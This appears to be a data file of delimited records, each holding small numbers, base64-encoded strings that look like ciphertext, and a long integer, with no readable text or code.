+2#!#9#!#SPrVTgA6HVQMDa+odiuWlXsiAYMElWZMgYpmnPtKMtDIZyw+BPe8tByRahBv#!#141185664900813575003884829260838235765#!#mecVgidsTHEPmT2vmXO/HUUrMOPpPSrvAlBl1jXo0GLG0VNekHl5F4cLR1Zx40ROSgaLswLL/CpwsX5Dt/aHLsfYwi+9MyZXmw+vc7qlUg==
+1#!#7#!#jkfGukOwvYLZ8O2PkZKiJxP9tQu/o1MrebWeHiA6rPmnWT+Lt/bQYbK/kyjy#!#82169117275178671804753309934649980480#!#AmbhoGRiZNmfFi51lrkQi9+agfLeMdJqUvZAycUZGcM2fQlw4K7I0UTErBjBHw==
+1#!#10#!#5P5B0xRupl1sZXcgb0FGLmj2uTkU/xKhjcU/jR192xwy4hku9MZdqk+EKZqI#!#287018935076932853057254569190054854772#!#4fOGgf7jvEEm7WnDk5CPSkWNx/Rn4gWGdXaITyrkJRLnZQyMxESF4ys=
+1#!#9#!#D+8r1/JFZXZzygRtlwtYw+zHycJTbQs2VLbrvlBfNP2g/9HCjl1a2DfbA1l4#!#180231152351328948618941441558980144160#!#MjHcwrWWI+t+7eBOOq7K7RsAp2FWxZkpRLXQR7Muxht8NE21yjpqlj8=
+1#!#9#!#UTTzId2EHhlcz4SRRL5dquCBIppXlOJljGcAzAiVoUX3MaCZDW0iGDX50Mnq#!#180231152351328948618941441558980144160#!#PXdXkDImiQxpPmsAicPkPLIJMz9jZ0+Zo1tTna3aQ0a0zV8p72Qilg==
+1#!#4#!#s0iSLzXt+mh6KwTGA6l2CUD4ZegPOF3hbkP8rdkgqw6Jg3rA9goE#!#208509034192577602804191496888775130393#!#cjQ/khFcSbmJe9Es68Rz1SuIjwduDl68jrkAm/2+CmyAVN931GvD0Q==
+1#!#12#!#qvaOlrA+8xNJoMyhw/vI3Evdnh2QbJtk78Q6cuMtA37sz5lA1IU1FRWruvkK#!#205586767735413022044948098009220265209#!#5KaEyIArhuPtiD8CrzVCgvkZ0WvFMxswqhBjUdZolne/R1Ni6CXm+e6XSdzlpP60EQoA5ggPbkp4IZlu04PL3KpCUepT9Q==
+1#!#10#!#CO7GsiGSodJRH0q6IKiAShaiJCUWhGVcj46VZvl7bk1hjmVTwY+uG7tgyAo=#!#51858418922095060962928139407817638987#!#FH/JXil41bDaC1i7BDWkNnrmLuat4E6oKuVVn9vfPM8ocaFE1Y9F5oUozoxdKd7gDnMSZtDjuEhsNRtQggXXF3RG8Xc=
+1#!#10#!#OM7atwCogFuOBUpRwx/PqBu0oBUvo7nDwePWaT9ok86qhenIW5n1/dYsmya0sQ==#!#240906082594550317127635643534773651339#!#giktEU/3tW/4JTFAJaC62oCWvTZq/vsZDt0nlpqaWJi/qyqjpOz735/i
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#297799268494257111161146237236097309792#!#ZKkAehYILBtOJk1NkxwVNipzrUqPdJCS5yecHq/dXksENqE1jddTNFFDSDq4xgW0n7HpuxMVgyR63B+wABzgFVoUH7oGmQCR6GGP85EFTgxayTxMXIOfmhZpxvjw7MNocfU=
+1#!#5#!#OpyyDhWgIY08pLU7wCO9wtz50KkoQxUO74vG2ONnR3ShQSU/pCSBg0ubsEzFmDw=#!#184100084726842801102007522015098516312#!#dZ3ZPWlhXxNZIlBVp8NhhQls0qhMUXNB4o5Gv7PD7JlONx3GkBW8HZuer7TX
+1#!#10#!#q20YbLtb0PC9ZKkaIBLhR0e3THAHa19GnRfU0UpstBwGinolyYNIOKMlvFQz#!#226108145489068698748445458530145943995#!#vF9yZ+vaHZRzdY6vZ9cxL/q4gX7ydT5rX+FDShfvnibbl2igNauGr6ox27nOW5BhvkWwpVkCx+7R7Nv+2sQ0
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#297799268494257111161146237236097309792#!#opmzCGyS1kAj1pOGSofuaVD/N8TjQV9KqKoCyCayeTs54kvN1J0MQQqPq8FVTTsQJEAKjXovzb2msIOWZtkbJNmG2Om6VPwN2uqrAReZcu6DbdKgxQLpvuT+h6+MZz6k3ik=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#297799268494257111161146237236097309792#!#8MBjO7pgnJUZIsDi9pmy4+GgbbCF2zBWayvOZTk+fgUtm4pLcEYdo3mXfFrO7efhg+8pQQ/abg6cIi4eZ5oK2xVSYfu5t4DYnmnW2XVjF7JgMgKZN7MSurQB6BP8cffP
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#297799268494257111161146237236097309792#!#PbhZLANg+QBM451Ks0lnVeEbdRxZDJgUBnyB45NWfo1Ko9fkZ2k2ivqrjX9wRAD0mBNsNW5NROLF8AF2B7NqTzJZDxNmbZq5NE3A3sJBtcNWPZC74i7DX5ZU7XRBoesx
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#297799268494257111161146237236097309792#!#Jn7Vh9hrqB/SxEXYmI/TId2/Xy3GfdE7FKwepSb2G5igcucfICTNr+XaHLdWqaalYScnIbIwRjXIimvCFL5EEJjttqcNY0RRAOvS83CzIdzD65mqj95U3dKwCmxGa2+Q1ewCJ1Su/w==
+1#!#6#!#W1f19Bom/+PmOpG7Qh8eGud26sNJUVIyrdQVejhFXHHmxLq7LTG+UBM1Fw==#!#75588770374317163022249214486422927047#!#0ow92LqYaen6m0e8VjZp4XAbuY03T/KThvMx7LMcLfCiMewmPqSxgUWGhJJi+2OzJPywiSd/vus=
+1#!#10#!#JzIrWfTIy5CDOmyCGSD4KEewSY7SNjsC6fkGRE2b3DNdR85kcej6HFQ=#!#93798722878492159370971271617213321472#!#LtVfySTZsVYxoVxVhk1bF3K6loTGnG3A2IywXyQtXycEzl8Mb0ZK4A==
+1#!#3#!#f/DCCTSVx4VYXqdpJfXp3uSmNi2zkVSWm7GVgEjmL76n/j1aTt7DErQDC/78Hw==#!#10407592717012850927353004520521204540#!#XHwgnjuFPHND++W8QAIJ0ozLv99Emz6PktIgMhEAdGbAEBDhhII/I+Yv
+1#!#1#!#eFOI8lxMrjCq4TyPX3GPXVhboN/QmH2kCSR/Aq1+wHEnD57XUxWO0aiXI41t#!#41760541884575073059265758235432796801#!#d88vxpxC9H+K0wggwdzqnDvtkeZeRQqHTKqfmUODeerokarf1rq6C2Kqqujbek7Vzw==
+1#!#6#!#9GhG6TMFeDwmWsHMdkmtP4BHLoI0oGQRVWa+/eJM0wbyFvlhAA1E1Qc=#!#79271635495272672329569969714750301298#!#Z4P2tgnoR33qveD5GQ9WBB1NQysfWVrtJHa4G9W9NWGrjDWOxeLgMg==
+1#!#6#!#6M9Swun7eaIxY6MJmHxDMrGeeoVnufzU2V78cKpSl3nfNrZtbaZhN9A=#!#79271635495272672329569969714750301298#!#BebHNsZ/gLc11zKg79GQuWLL28mu0leYCP3Z/EPQerA6l18kJwlVp1MCo8miZcyotXrSavpakhUE6NiB4hOm/WDdpghWrmz8CCfyn7AvR18e6sDyBBQ6
+1#!#1#!#M8TS9xW5KWy7apAUY6eSzjd9n7DaGbOur9giAfqVmlX0tTkWXWl7img=#!#269192905671679468797726534637030608577#!#KeVU/t8kYNFInCHIMPnDtGRe7dS/VkBldtAuDqdN7basQEWfobj7C3M=
+1#!#10#!#rviWZ0URswvjKdhkU/fV0Sl64gn/+j8Wkp3rNVDIfg/ZvvFXw5Tsiq0=#!#276231895851884851770078454520327123886#!#coPGhpJM81gwT1/9x9DuZ6NO72B0VtGVTnHpIi0OYCKRV0Wm38Tyaww=
+1#!#11#!#JbCLfmZ+45pRBfDYqjbUuov+rbJyNdTsXs9cfcrTvFlKyd6rVhbW/QDjQY4A#!#325294407557316744717183721592919980506#!#/W7+rIdGw28u0LNNVfOUZN+1dkHsz+MZsMt43peH5UdFcEcgIjxKmELsVMPydAc4SDxyeoTP3k5l3jxgYA==
+1#!#11#!#se8pHExjuIleX6R/CbSzIdZ+1QRfiE5Z3jQrqsCigOrRIDlTXGR4AWkjRYE4#!#332203875576740859708626646806975851880#!#tz47gCwvtsX+sV9dI34c0fsEzoiO5h9Z3ZGhMhGEIdpA5A271AnM+FQFexhFpTOJBSzscz6FEUc=
+1#!#2#!#RVC68fZUS1jwKV8BW6l6fLdnRlCfNtmzrvMjOQDllnWmtPUHl0kNBXWrozUwc6wh#!#3283254772946864649847646159588224933#!#qoFLzxRlub5j+n+jWRbErWceSJSDRoyalz//9FhlZkARLa0+BtZxDp2ImDCNpgB7i5oXFbXelOypMRu56xT4KpStC0aw
+3#!#1#!#sXRb499xHdZ1cMy+1bR7OMFkfcQjoZANZEqQTRKAaiiOd7yONdI9krv9I/XkaA==#!#128607490075700450714801394755936313418#!#NTBJNcB1Y3LrPaKKQRS56xQFcdCLS9nrUnF4cE2OCup0HIlEfGi+8/qKFp3t0/TtqwY7bJfkPvJ6osbxHEgcR/rNRML14k/7PudmQeMfqFdP26MRp39ie644G3i23fAd3+nWV6q8isqf
+3#!#10#!#8JLnb7h0N2+H6GF4Xv/5U1RAHK3QeJWb41Q9XKbLUvOPecGkyblVcaXKSB8r#!#67925132284452958189434231397325831375#!#G1OraMaH4pR0qG1LntMcLWY/LvgHAmgaIamfbJePlr1wxGz6WEROZO8o02O3ijOQ9baBGEGBsvZ/CtExXZMyi5jKOBy86qgfAGyZVs8P3XCE3YhrGs0Kx0ha6S0=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#Tk2dfNo3lx6rpMQMKGIG7BG3v1hUuMixGHif7EdDO8LIB8CrYeUk1LWjYbafpqGCi05/4jPyXLk7Uadnfs2Q98q1UWGYkY1NvmB/u3jbPOegpRXLTsB1nk70SVxsWucJjaI=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#CB176QcIOW9u5OBFWjae/C7nzwt6RCl+cJYJbUXnAXbp5Ri3tKxoanPmWY+1T+wV6LRPVp2eunUG6lawa9Qm5aeRI6wJZl4y9I8mV0lP5TJrwc7IW78s4nUN5BE3hvzfeX31Yixu9A==
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#4NQVIdocqqK4YCM39EDSYufZhCf719A6+nyuBDrynf4TRZJg/kj3u4KsJYwky7T7Cg1oe0AkRLpu6BRVCrivvY1EO6QE8buyJn/p1cg+rFac4vceHc6vIYNdyVmMmT+io6H0MW//Rw==
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#YVsoW5KBkt2dZv+qcFPpSO+sGauTJtbjdYsESGNF8oAyqrOntTR79rWQyAi35c3m36soGvBTA8A+K60avr30MreEk7ReQRNmZ1PnS/7yzhI3GwtqwPIPH/HJ1yTq4SokDK36GGJElj2c
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#Y+zLGN1S+dBlALLWJwDH5a1eUTmbSQ0Ltj2OavhC/kdhFuiGXmRNtPpuIpaTBuJIsPS3uWuqpDmdFGCtkE0uxo8m2qGKlIqn78eF4I528NbO1pIuutVd492Ry01bUBfJMLE=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#SpZf4JudDjumtUE6FSCVeCai+8tHpHTmcGQrpcv7NZb8ybKjEVKVqkAG4jvllyFjwq8NOmc9wdrOXgaYll/VWgcswxYRPrsabAjIZ+FrO8jN7UWeWwhcaSHSsfOCNDeE
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#8kkot+9PMkUfUpljAVKMIlssHug3rfQOceGdAOFlbowxLwtIoywolq8pzcOVBwIytIoWfPPb/IMP07mplJNV89tMQOawedXWv2ws2KD20ApU2FCXfSBtKVzPxNff48uz
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#fmNpq0z5EWcrO7icFb98Jt1g0G52Hbs/bJvhDV9zxnVdMsWdtesA8mOVNlYnC/X4NCgpshjqefPxpBRUcOA1iQiECpQo/B0wGZPB+R2mg6VDJDCZpvgINrnHQ0A0R4xtfel9lA==
+5#!#11#!#O4JP2TTkOXY614QAsBvI/HD9biWKVSU7mVU6WDLLcLTyikmN4p06qpFTNMc0#!#105263468098466684780337541356299405333#!#bYhjQDRAnmlYSxTgGbUJt4WN2cp8Bf/v06NCjblFqMs3oGR6MR8eWtiJC/3NVKD1zbj39IIZF7JKQAVACg2Xsqn/PU/SyefjWzc+cOB8QweDMgV32v1RHw==
+2#!#11#!#kBzpsGgPOJ0pGzQi1MWjUrO9VyxSeGlcNRdT4YlECmMvVKKhAE2kXNR+0uGa#!#307739447845288878794174531186014704818#!#HLXmo14uezPg9kSR5sbfcV4cZ6FVhaY9tgTgCVpDByXCvw0wSg9yHWdWy47qB7xqqeADHR7nat7V
+1#!#2#!#bBbF2C52cPQWB6BGePy0Bwn77sToIeyUVuCEKZqz+u+91LFOVFq26JIGoO4=#!#329895326239230989697629697780725544979#!#DzbGoFQZYsxCCTG/e+7owWRBAW47hG/FQKnHznCh0xXZLhUnbdUmgC3CDn3hjYpaafG5EXjYVrvPbsb8DV6l1b8mgRJh
+1#!#1#!#iApcY/GBAm8iIPDv9gV2snh8g3R2Liji8hBdxg2F7pKm8phCwypXEg==#!#327896628684198370115024802980679121612#!#sSpZXRWjq0oV52e0GJlPLs/ms7056fGGNzq+emG3auoV7TdaoccUil6s7Sgx6StSvivCiMamCBCw17QbmMg+anrcNMi9V0Tw4P+REECctUEByjhlVEsXJvV2W5cG5kkHvBgewSPJPS1F
+4#!#3#!#zKZdILvZWb14h2ytGFl1iX/L0DhTtWDwhMGBpz9NcIell1NVx/NRbRqQCrGM#!#94695553841473053852964057918303018698#!#ltDyoIdNDXpWbqm5W0jAtmEQ6utO/gkMnCPtJeFz4qFJ2G9nRAtsCJ6iJgZHXYbXYq0n60ks3brPxdXWJR8I0uKCd63wSTsDtMsNQykFkQGpx3MVExlgn3Q7H2NkX7C3hQUoDl8=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#geOzO6fG+6jOBSsT0+43sdhjIH7zY0pRzVH7HzPvmCZPI+ycMkiEX9Z4wpUHrkyMsaH4Rz13U/lvSqJrsam9kOc9xqcnnnWmFiWMiO98jLrkXOIps7WrkAPeUbzp+m9OKE8=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#fgNK0XPq578MsiFQikJaMN2iIWUmjp8DgCCA0dpjsePFDk2OMfDZ9+yXhbw//Xku4ZbP0LL3hJQhFNA6LUU+rjQqcUKOf/jT7NEGyN4HbelD1yhEWE8aXvBYWXl+BHDiwRF4aFZVHdSZ
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#VaAigYUOeX04gFBNBI6Uj/AERnb0R1fdtqtByh12LeX/YfYjQVv6tujW45KjWquFdITZuqd3fPJ53ovm7wB7XeOXbm6bKGJiqfjPdilfdfK6dpJry+S0RmJYcSBOHKGtVKwJUGZmu6Io
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#LzoR//szNSXj14I1eudFb2ytaPMSrEHGXk55sDYisvCM+SxLLVu1t2a/kQRx2kWx16KYtKufp6H/G26J6F9JPhM6Uw1UJEe7tIWW8IGOrRKVCf/lS6vFQKcEp3A=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#Gfi7LXfTYnEtkoeHZyEruHGWX9c43Dr0wOAb9XUBwJD63A1M48gBevB/6mjcOPJgH1brJwkeXea1lGU5LMqbvd3LAE5L+rdQUhyLi0CQkLEUlj2sWDec2JbBgokvxmrn
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#72WBwjvFz3aWNvXpaGtNUAf7M8uBawVua3MWn+V0YGvwJcm9CI6RHK62E7qj0CYUSTlvcjMOW4qT+Pz6r0ldpb4ZDzAhA8I1WNxlcTU9iHmTQjWS+Z3XMBKUzwHbED9Xk84Q9/vB
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#67925132284452958189434231397325831375#!#7V5Cz6Fl2Xs9YIrM0ArNUA1HAYk3UFUn2jj+auqA4jt2P2KFC4IwTOcN4PBP8n5B2wpaPQodg9twLJK07IvSLwaF1K1FcIZY1Pv5P9Lr9glitKKBf9pKxe4oUAKAfVzxQTZfqmnPYNDO
+5#!#11#!#O4JP2TTkOXY614QAsBvI/HD9biWKVSU7mVU6WDLLcLTyikmN4p06qpFTNMc0#!#337634876138620125409348987307194081194#!#5ca1dwPEI8lGsCbhNWoY6bDw/HvWHvqo4vHokN5gYS/78kirTNzgRjsSJUygWgJaqp6w1T/wjMk7mMj8p6Nd4WtGFtkGHSR/jlYJqaBFJR+F
+2#!#2#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#40034797434565818761572082666102525470#!#8KssgpXWPTzhKsu1NquQ+Rr0gEbO9kjN5u8MLiyPMgscvb4IRlLIwQ1R63YUZPN2ar9xgk7dsInDA+0PU1N8lp1Q
+5#!#2#!#O4JP2TTkOXY614QAsBvI/HD9biWKVSU7mVU6WDLLcLTyikmN4p06qpFTNMc0#!#40034797434565818761572082666102525470#!#/iZCLoD4PgwchVJyCLtV2V/MeW6RrATsMrMYRboy2kcB0mB/cgaoZOba+1seV4PK2BeDPowFl7LJ8O67bmhvxrP8FGay8W98J6zZ/oRZQzEotmPkMlD8XnxgnzYyMvkURbnKKP1/
+1#!#5#!#DvNWpI6HV2QRJ734C5MRZUo5tl6DrqZVxISHZxaVGnC1Rx2DYlAuLyZL6SkN#!#52154508364343899496765316938039269199#!#OLq9zdjyAIwVjii9BkSjKo3dvzb/rU4Cc5xSPi5rgyFtMpA+1ophOECHwmVr8+GgmrtAgXRUViIO9pWNkLg4
+2#!#2#!#lXRhSL2QWommWylbH5vJdNYUEP+TBH7X4bx5ktySi1TIolGpI26A1PPH0cJaWQ==#!#69464841943276491380302816584585319237#!#gVNwADw7QYPeBpY010iTLFzERROOI6kQxhtve2wpePEk4hoPWPsKKw==
+1#!#2#!#LVWF3KpGcrtj//Z9EGKJR4ed/K4j2upEqkS4odnVcUqRSMpxb/WsiuiG/IsXTQ==#!#69464841943276491380302816584585319237#!#eYYtlroZ8pgBxOLA4Gl20OgtqmQdT2u0TMlZTNZJznjvN/JRnWz74JrMcb334jFTnwoYQGo9eQ==
+1#!#5#!#oi6EKAffRClmUszvNbVp8oY7obEsHNV7ralgD8w5ug+Ug9hE7L6lcaleZAj2mvA=#!#131456116196691458139403344696272041497#!#rQtpJv92rif0Q3lX4SeEE6eiWB27y/fRqQ+kZR7QyIgp9g++4Au6gnskV4zV3plFZVgLew==
+1#!#4#!#Vd6HSKOsC2oELrhLxWd87UD/lI94C8HKDfQd01+52xn9rp4MvJKWKFKv6WTmoXUh#!#123695975752078214611427573887748863950#!#ZNYzkZj+Bk+Vpwm4HmST3CI2uiMCsnBGiVpMVoLIH5PhbIUVoYCvatDQXy5qQ5LxEv/CoEvonpXj7grAbeQFN4B830otN7cns4tQJpwEkyqKP8dZMB2V1LuDTIfT+f8HmSs7xREKHGWU
+1#!#4#!#/FYrqFCNot8VE14T7yvmWhQ9Qu5j9wkxI1IV6r8iTqKDPTNmqsZTVkOkpraJzeHz#!#123695975752078214611427573887748863950#!#hExhuFwuxi8z47E+/0i2BBbhJtjvYXDdnN5b1DN7h1qCuiy4UQrzU6CTqHNfNGJcfzZAXJcptlwltvcSgKiddul9oEgWwpubPhUXhdg+LpVQZw==
+1#!#6#!#BcWY0xFPL+I1JsuY6gT7SQin7DPb+G7/GXBclxZjOF9f6RY6Ump+eFGH/9Bb3g==#!#189078426696408831725576275431658985756#!#/s6Hnm2aIG9HBkpvbxjbD6HZeZpBXRXwDsYpwfMxKAmBJ1t2/5IKDg489wPbWp4Qh7SsMA/WiQO/CnduKn1x2TBlRk8ZdSjFUFbCayfXnkdbql6Y9X4158eDHzGMWzxy3Rtzmglz9Z1w
+1#!#9#!#34MV2E5hXzccyOrnVW2UNWqToLnOBOWdlazWi2lhIDe6DAndW8SSXxk57LAp#!#181857063630218957458797942755542198224#!#RZ4V3G4U9KpChKpm83O3dd6l23BalHJbBJg1T5G4gbfXN9ua8BD+Y8iUvd0+1CM=
+1#!#6#!#mtcq8bvNqltLYTvO1Kz0Xw1ntzx1L9XufmxWAPgqZ4mVqzZEM9VUJD48oCMFMQ==#!#39670708493366342095845091345040331249#!#AtYUyUGSUrpb3+rdseN1AivTXrSCeSgF5HaOTqsuWeCylKtDBuZ9kfiFfwYfG3py6O7j4q/cZwwnNKrmmLWg7/6eZ1njbd7xlcNCXDZjjyHubuaH
+1#!#1#!#B4isnbgXVJQDwSHkot0yhHhKicCWiyf4Vk2dg5tTbBqvZto9ObXf9uhrs3u5ZEk=#!#73001832495816855310096828362270894068#!#+gLU1wBHYZc0KrHM8BBeaR5w6OX4qirBhEbY+ezf1l7VkLjAAaVnN2/LBJYvj2jHt6nz+vW6+TKm1gltAaHrbdfz/pVg
+3#!#7#!#Ou7XcXXIIry75tsdBN+Ssri5UFD+WNXuvIUot02v3TtC8HfkvZChiADV#!#326051357315917924366539085153272642560#!#+Q3f4+QCZGimYzeEfXWj0alF7wegAH6PkiH5mVuZK1bh3IGEtGIcpi5wOW5FBq98PEZzg/0bq9qaFd48UEUUFXJwJpaQgx+xws3Rl2slPqV/WV3T2ShyYeo6cagIGOSbHpBcFQ6qu+j8
+5#!#1#!#IYtmZJTgb27TNxGRBQ7WL5q+zIzBhDhXMBpSkAfQruS7GDje2+bvTZQHmD8=#!#295949337797499870738854481801505659911#!#Qh2YOhJh2wrUqiLZ9sk98tAIAQStme5ld3NUUsOwjVyYC6REcSnrkAaN00pK2ufU2jRVPyPawPNVBCzyzYQvXyBifx1wd36cSZ7PcmM=
+1#!#1#!#ceGDaKrbzG5KihPIrgDdA9zBJp0LYeeObxHr2m8xHwmBwBVDL6osZd9ulis=#!#295949337797499870738854481801505659911#!#KAd8M4BntiZRryRMNQoaMkkZkZwszg4tYLLMxHaVCpmyKaqUHr/uzHjtyWRgaZC4Uai0ge8wRWt91uduymC4aujFiBzNWK7VFQVikv8ZoV8=
+1#!#10#!#l1OKYFSuxQecDs6tPEE9ILfXCIb2IjPkYlVkpOl6DjjTCaCYF71AKvNpdVzt#!#2597379482585740089681457173464678423#!#JgiDHUE2qiFIEQyH3ApKUBNOyipn13Bual9ZoBGd86LbWVxc2gykiwMG
+1#!#10#!#Akm8yt4bYZ1eVf7+fNu9ubUVANVNZg8bn6mNrrYupWmSvh3BJ6FVB98fCLY=#!#110204533929487982599685747084422235050#!#5znVgbLggTn7pjKg2PnclcjssHEXyLE4b7BKPoehIa0zcrfdW7e0w71nKSStOgqPH1VSKoeInZ8F2j3f9OeQGhViBnwVkVHWGzyRIlHAaIxIbwQDWFRSDJq3DwLeOEYGGCKfkqlwDsff
+2#!#12#!#nh+Jj8MmEixmyJ2FFAuBLuThvVYKxJq2bUGb7QYMQ8QNKU8ac9ZkfxcGIEgk#!#298099579060652926224631927872821724319#!#5FqLckPw6yvHz404f02Pc11FgqeBmKGhv37p1y8poXGZNLmc3ZxPhRBgfhNpAESszpeOZsHQE8OupgAXjKgfH3CFKzJfnRE9tv2Oucd+cgKmfkSzXxADbATJ8mK7CvkwO35mw7AIMcJF
+4#!#8#!#jeCgThxRTazeVcigy+QI4V5AcPrOMRvC19VYPXgxDYv2bRsc2+6SvrKQYFEY#!#308305893086224440326708855779514521074#!#Pu9U8Vmzfjy6yFLtIOEo24e5kFEHt3PQVM/jrq1Q4NAF1OxVnt/3VAq6IK8fi4zudWs0mI4sYUWh7Z3mTPxGRwk6VrkyGr6zExzdsaXzry88/+7zhiBRp8LVO7RLFsdXJfOJccY8iVSs
+1#!#1#!#at2SyxCV4fx6Vfp0yG4Rl+5Rkhqjxy20dVWhA2Hozhe/aFQm/KOIIbW79v+p#!#123947377528968445474883141765422019586#!#o3chHTGM/YxkyFC+tpGgIFqevndxVg6Wx0RincasTEWXL57np08=
+1#!#1#!#IUi4+6TpQruSIfFur7g2dV9fBr9VtxeYEeXvzyDvHBGpqI+Rv8E7ug==#!#249163974635904614152373369245617455642#!#1j2VeiVZjgRwWRSGsF4xSJLPexb8crxlegg7TlbIcy1RQxWEwrWxO2NaEdg2/KfQF3v323NO6JyRowW8WaZo6knZA68YMNmbMApe6BL74vNm6LBjECbxCObjJ80EgOTdDdyA70pBQg0f
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#225272837650524334545892328696922919633#!#WlnJ/UM3A55BK2w2HUaf7G7zZyw/4ieTMA0nV+qz1zMzTfM/1e9C5sPJ3IxVwkTYDmjHqASr1aeA/VYnV8BqdPNS2VNTh7rMPxyYezVe4Dd/W8CeJurP2PhyHuBIll39ORo=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#225272837650524334545892328696922919633#!#zCEo1XkQxg8kTwiOJpFXYVj57iUlv6WxbOB2eDvuI4ykJj+qQArYhMqw/JFoImSiC1zF5XtV5OrOyU+xpep57dxgd98FTkNp4LoPyo0QbotRvqnTB9+Ebyi5gw2J5TShlDnyagAofFeM
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#311830898950026521109563967341780867277#!#qq6RCAyH6+8p6VP3NjnhV0l/AhxbMcLi6OdnsA5oYB1+qGsaMl5G6AjTPFSWqfrnDIdylyDimJpKa7ghrZDIht26mYryhBRoJhDQenpxyCBBmVS1yFfhdIPEQuzNWkqEheI=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#7568240791179788346445579243658823364#!#y0upLxHgaOWpCdKMQM2O2ty9IHdlJxT0vRcU2QsORs8oitu69hOhPxktrk6/tOxIhqrXdbcaawWC7XnxwPXORcnkdJD2k5F08g77iei+WgJ0mg2ERk1+4cI/Ug==
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#311830898950026521109563967341780867277#!#je4zk25ip2kSQTWuLBwRrQEbaDvsxMeI9C3XvCOhI5O39y0Lt3wOe++U9uYt8Ney7MeAb3pFdWgdKjAFVc/lVx2ky8Tl5qF60v4SmTYkpmRs+/JOMD+iOfrubbB3OnZvx2kH3Yt9rKM=
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#7568240791179788346445579243658823364#!#GmFnuWaFEKIsNlZUqyY/wf8nMYjg3OViQCNMvnlzJ+/mT5qXYaVtm2QxL3LG2sUhDGo9XfeB8m6W9Dwa6sM4WxVzUcAZ0/FWPyT5VeVN6eYOJq3wYGIFnSZO8jL1YF9sZWNbYbNU+g==
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#311830898950026521109563967341780867277#!#naf1rnfUDjKWIytsgt3nPOMOMxNvTtISr0GVP/LY5Oj28vtJyDInjGIJstFB8lMvaoBxAVTKCHwruFlr5BKR94zNFMG2ZP6Hjqreb085fXQvbdye9RV++Ahab24CEdptmv1JP97fZA==
+1#!#4#!#QLvYszALo2clIPIGE571QYJ6ThOWzpMSZ7mLhzawTlwv6qXyzc56OKts+yLb#!#311830898950026521109563967341780867277#!#yCM209uKZU5/qTO2WAiDNxb6SNX1FZYVIaQQKidCtERBPl5anziE46mU3Zd6FwAsPvmIxPcKgzZOQp2gK7wY3CckbTrqBZNQTCMoW43Fd0lMU78GduMrCiq8S3YCzui/oHpH59ffpUih
+1#!#5#!#NayV/+iEqMy5upPwtB9WqVgIIxMT0SVazL9LD/EtwciGcYJEWggbCkhZwDaj#!#233383917422698668663907683364658708936#!#EZbCmC3gl1DfhYqUbMV3kZrwQaWeqd2HuQVW8RckNczvV2qAplSFpw==
